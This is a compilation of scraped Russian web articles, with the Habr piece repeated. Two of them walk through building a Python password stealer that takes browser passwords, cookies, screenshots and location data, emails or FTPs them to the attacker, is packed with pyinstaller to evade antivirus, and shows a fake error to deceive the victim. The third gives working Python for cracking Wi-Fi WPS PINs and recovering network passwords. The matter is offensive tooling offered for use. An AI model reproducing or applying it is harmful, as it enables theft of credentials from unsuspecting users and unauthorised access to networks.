Стиллер паролей на python с отправкой на почту
Стиллер паролей на python
Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.
Приступим к делу
Создаем новый файл в IDLE Python или в другой IDE.
Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.
Собираем с пользователя все его данные.
Тут записываем наши тхт в один ZIP — doc.
Вот он наш ZIP по всеми данными.
Тут мы создаем вложение для нашего doc’а ZIP.
Здесь мы собственно производим отправку на емаил с помощью SMTP
Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.
Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.
Теперь pyinstaller —onefile название вашего файла.py, ентер.
Ссылки
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.
- 16 июня 2020 в 00:38 Создание Discord-бота на Python. Часть 1
- 24 июня 2020 в 01:09 Как подружить Asterisk с потоковым распознаванием от Яндекс SpeechKit через EAGI и Python
- 26 июля 2020 в 14:49 Floating — point issue and one of the solutions in Python
- 21 августа 2020 в 01:00 Бот VK на Python 2020 года с ответами в беседу
- 12 сентября 2020 в 00:53 Как быстро поднять OpenCV with CUDA для Python и С++ без компиляции 2.5 часа
Это «Песочница» — раздел, в который попадают дебютные посты пользователей, желающих стать полноправными участниками сообщества.
Если у вас есть приглашение, отправьте его автору понравившейся публикации — тогда её смогут прочитать и обсудить все остальные пользователи Хабра.
Чтобы исключить предвзятость при оценке, все публикации анонимны, псевдонимы показываются случайным образом.
- рекламные и PR-публикации
- вопросы и просьбы (для них есть Хабр Q&A);
- вакансии (используйте Хабр Карьеру)
- статьи, ранее опубликованные на других сайтах;
- статьи без правильно расставленных знаков препинания, со смайликами, с обилием восклицательных знаков, неоправданным выделением слов и предложений и другим неуместным форматированием текста;
- жалобы на компании и предоставляемые услуги;
- низкокачественные переводы;
- куски программного кода без пояснений;
- односложные статьи;
- статьи, слабо относящиеся к или не относящиеся к ней вовсе.
Источник статьи: http://habr.com/ru/sandbox/135410/
Статья Пишем стиллер паролей на Python
NNullday
Всем привет, это моя первая статья, сразу хочу сказать)
Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )
Начнем с самого простого: подключения библиотек.
- первая библиотека ( os.path ) — используется для проверки директории на валидность, точнее на то, существует ли она в природе
- вторая библиотека ( getpass ) — используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
- третья библиотека ( ftplib ) — тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
- четвертая библиотека( random ) — ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.
Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать (в учеб.целях) из браузеров — Opera, Yandex, Google Chrome
Итак, вот код, пишем его, далее будем его разбирать
UserName — принимает значения имя текущего пользователя
dir_cookie_google, dir_pass_google, . . — и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже.
У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче — написанию стиллера.
Вот код, пока напишите его, а я потом расскажу о нем ))
Код получился не маленький, что есть то есть. Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. «Зачем это нужно?», — спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits.
Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:
Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP. Такс. Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела. Будем действовать по такой схеме))
Первая строка — вызов функции, которая ворует пароли.
Далее выводим сообщения об «ошибке», чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет))
Вот и весь код, ниже он целиком:
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?
Ответ — pyinstaller
Скачаем его:
Далее скомпилируем его в EXE’шник, дабы было все проще ))
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер. НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит — нет, там нету ничего.
Вот так вот. Всем спасибо! Рад был поделится с вами своим скриптом
Источник статьи: http://codeby.net/threads/pishem-stiller-parolej-na-python.67419/
Стиллер паролей на python с отправкой на почту
Стиллер паролей на python
Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.
Приступим к делу
Создаем новый файл в IDLE Python или в другой IDE.
Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.
Собираем с пользователя все его данные.
Тут записываем наши тхт в один ZIP — doc.
Вот он наш ZIP по всеми данными.
Тут мы создаем вложение для нашего doc’а ZIP.
Здесь мы собственно производим отправку на емаил с помощью SMTP
Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.
Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.
Теперь pyinstaller —onefile название вашего файла.py, ентер.
Ссылки
You can’t comment this post because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.
- 16 июня 2020 в 00:38 Создание Discord-бота на Python. Часть 1
- 24 июня 2020 в 01:09 Как подружить Asterisk с потоковым распознаванием от Яндекс SpeechKit через EAGI и Python
- 26 июля 2020 в 14:49 Floating — point issue and one of the solutions in Python
- 21 августа 2020 в 01:00 Бот VK на Python 2020 года с ответами в беседу
- 12 сентября 2020 в 00:53 Как быстро поднять OpenCV with CUDA для Python и С++ без компиляции 2.5 часа
AdBlock has stolen the banner, but banners are not teeth — they will be back
This is the Sandbox — the part of Habr that accumulates all the debut posts of those who want to become full members of the community.
If you have an invitation send it to the author of the pending publication you like in order to share the post with the rest of Habr community so they can read and comment it.
To avoid any prejudice all the posts here are anonymous and nicknames are generated randomly.
- advertising and PR-posts
- questions (we have Habr Q&A for them);
- vacancies (use Habr Career instead);
- articles, that were previously published on other websites;
- articles without correct punctuation, containing emojis and plenty of exclamation marks, unnecessary highlighting of words and sentences, and other inappropriate text formatting;
- complaints about companies and services;
- low-quality translations;
- pieces of code without explanation;
- one-word articles;
- articles that are weakly related to IT or not related at all.
Источник статьи: http://habr.com/en/sandbox/135410/
Python для хакера: пишем утилиту для взлома Wi-Fi.
Стать написана в ознакомительных целях и не призывает к каким-либо действия.
Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN .
Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN , который состоит из цифр. Восьмая цифра — дайджест.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни канал не несут ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным сетям преследуется по закону!
Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:
- подбор ПИН-кода или ключа безопасности методом грубой силы;
- использование уязвимостей реализации;
- социальная инженерия;
- использование слабостей генерации ПИН-кодов.
В этой статье мы остановимся на последнем методе из списка.
Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.
Откуда берут стандартный PIN
Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS . WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID .
BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC .
Генерация WPS PIN на примере
Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа.
Анализируем любым удобным способом (например, Dumpper).
BSSID получен: C4:6E:1F:6A:8D:04.
Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.
Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC -адреса устройства: 24-bit PIN = MAC[7..12].
Вот реализация этого алгоритма на Python .
from math import floor
MAC = ‘C46E1F6A8D04’
One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000
Var1 = 0
while Two:
Var1 += 3 * (Two % 10)
Two = floor(Two / 10)
Var1 += Two % 10
Two = floor(Two / 10)
Var2 = (One * 10) + ((10 — (Var1 % 10)) % 10)
Var3 = str(int(Var2))
result = Var3.zfill(8)
Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность.
Подготовка и требования
Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:
- Windows 7 и выше;
- Python 3 и выше;
- удобная IDE;
- любимый браузер;
- личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
- WpsWin (входит в состав того самого Dumpper);
- IDA и Hex-Rays Tool.
Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.
Автозапуск с правами администратора
Для автозапуска мы будем использовать следующий код:
import ctypes, sys
if ctypes.windll.shell32.IsUserAnAdmin():
if __name__ == «__main__»:
main()
else:
ctypes.windll.shell32.ShellExecuteW(None, «runas», sys.executable, __file__, None, 1)
Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.
Если такой вариант не устраивает, то всегда можно воспользоваться готовыми решениями.
- pyuac — готовый скрипт для повышения прав в Windows
- Bypassing Windows 10 UAC With Python — статья на ту же тему
- How to run python script with elevated privilege on windows — разбор вопроса на Stack Overflow
Разработка
Прежде всего добавим алгоритм подсчета дайджеста MAC -адреса (он уже был выше):
from math import floor
def checksum(mac):
mac %= 10000000
var = 0
temp = mac
while temp:
var += 3 * (temp % 10)
temp = floor(temp / 10)
var += temp % 10
temp = floor(temp / 10)
return (mac * 10) + ((10 — (var % 10)) % 10)
А также несколько функций генерации заветных ПИН-кодов.
Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием.
def pin24(BSSID):
temp = int(BSSID,16) & 0xFFFFFF
temp = checksum(temp)
temp = str(int(temp))
return temp.zfill(8)
def pinDLink(BSSID):
temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55
temp ^= ((temp & 0xF)
Немного реверса
Разумеется, нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin . Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS . Но какие параметры ей передавать? Расчехляем IDA , подгружаем наш PE и исследуем.
Вот что нам необходимо проделать с исполняемым файлом:
- найти передаваемые аргументы для взаимодействия через командную строку;
- отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;
- пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.
Первая нужная функция находится по адресу 0x004012A0.
Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции.
По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.
Само значение передается аргументом второй, найденной нами функции.
Патчим через «Edit → Patch program → Assemble…» и сохраняем.
Подключение по WPS
Продолжаем дописывать наш код. Запускаем WpsWin , передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат.
import subprocess
import sys
from time import sleep
def run_command(cmd):
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
for LINE in iter(p.stdout.readline, b»):
if LINE:
yield LINE
while p.poll() is None:
sleep(.1)
err = p.stderr.read()
if p.returncode != 0:
print («» + err)
def connect(ESSID, PIN):
cmd = ‘WpsWin.exe Action=Registrar ESSID=»%s» PIN=%s’ % (ESSID, str(PIN))
sleep(1)
for LINE in run_command(cmd):
LINE = LINE.decode(‘cp866’)
if «Asociacion fallida» in LINE:
print («Connection with %s hasn’t been established!» % ESSID)
return
elif «Pin incorrecto» in LINE:
print(«Pin invalid!»)
return
elif «Wpa Key» in LINE:
print(«\nTRUE PIN FOUND!\nGetting the Wi-Fi password. \n»)
print(LINE)
sleep(5)
input()
sys.exit()
К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS , как это делает wash в Linux , а значит, нам остается реализовать эту функцию самим.
import re
def main():
network = 0
results = run_command(«netsh wlan show networks mode=bssid»)
results = [i for i in results]
ssids = []
bssids = []
for line in results:
line = line.decode(‘cp866’)
if «BSSID» in line:
bssids.append(re.sub(‘BSSID [\d]+:’, », line.strip()).strip())
elif «SSID» in line:
ssids.append(re.sub(‘SSID [\d]+:’, », line.strip()).strip())
i = 0
print («Available wireless networks at the moment:\n»)
for j in ssids:
i += 1
print («%d — %s» % (i, j))
while (network == «») or (int(network) i):
print
network = input(«\nChoose the wireless network > «)
network = int(network) — 1
macbssid = bssids[network].upper()
mac = macbssid.replace(«:», «»).replace(«-«, «»).replace(» «, «»).replace(«.», «»)
wifiname = ssids[network]
Угадываем WPS PIN
Еще несколько десятков кликов по клавиатуре, и код готов.
algos = [pin24, pinDLink, pinDLinkInc1, pinASUS]
for i in algos:
pin = i(mac)
print («\nTrying connect to %s via %s technique with PIN: %s» % (wifiname,i.__name__,pin))
connect(wifiname,pin)
sleep(3)
Тестирование утилиты
Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит!
Дополнительные фичи
Если же тебе, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.
- Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.
- Придумать иной способ получения списка беспроводных сетей.
- Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.
- Добавить проверку на наличие у беспроводной точки доступа технологии WPS.
- Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.
- Добавить звуковое оповещение, когда будет найден верный ПИН-код.
Выводы
Что у нас есть по результатам:
- +10 к интеллекту скиллу разработки средств автоматизированного тестирования;
- небольшой список алгоритмов генерации ПИН-кодов;
- работающая утилита тестирования слабостей генерации WPS PIN;
- пароль от беспроводной сети.
Не могу не сказать, что вендоры уже давно знают об этой слабости и в последних обновлениях прошивок проблема, скорее всего, уже исправлена. Хоть иногда я и встречал «современные» точки доступа, где для генерации ПИН-кода был использован MAC , увеличенный (или уменьшенный) на единицу, доля уязвимых устройств с каждым днем все меньше.
На этом пожалуй все. Всего доброго. Можете поставить лайк
Источник статьи: http://zen.yandex.ru/media/id/5d9793bde4fff000aef9d6cb/python-dlia-hakera-pishem-utilitu-dlia-vzloma-wifi-5d97b10f3642b600ad3eda2e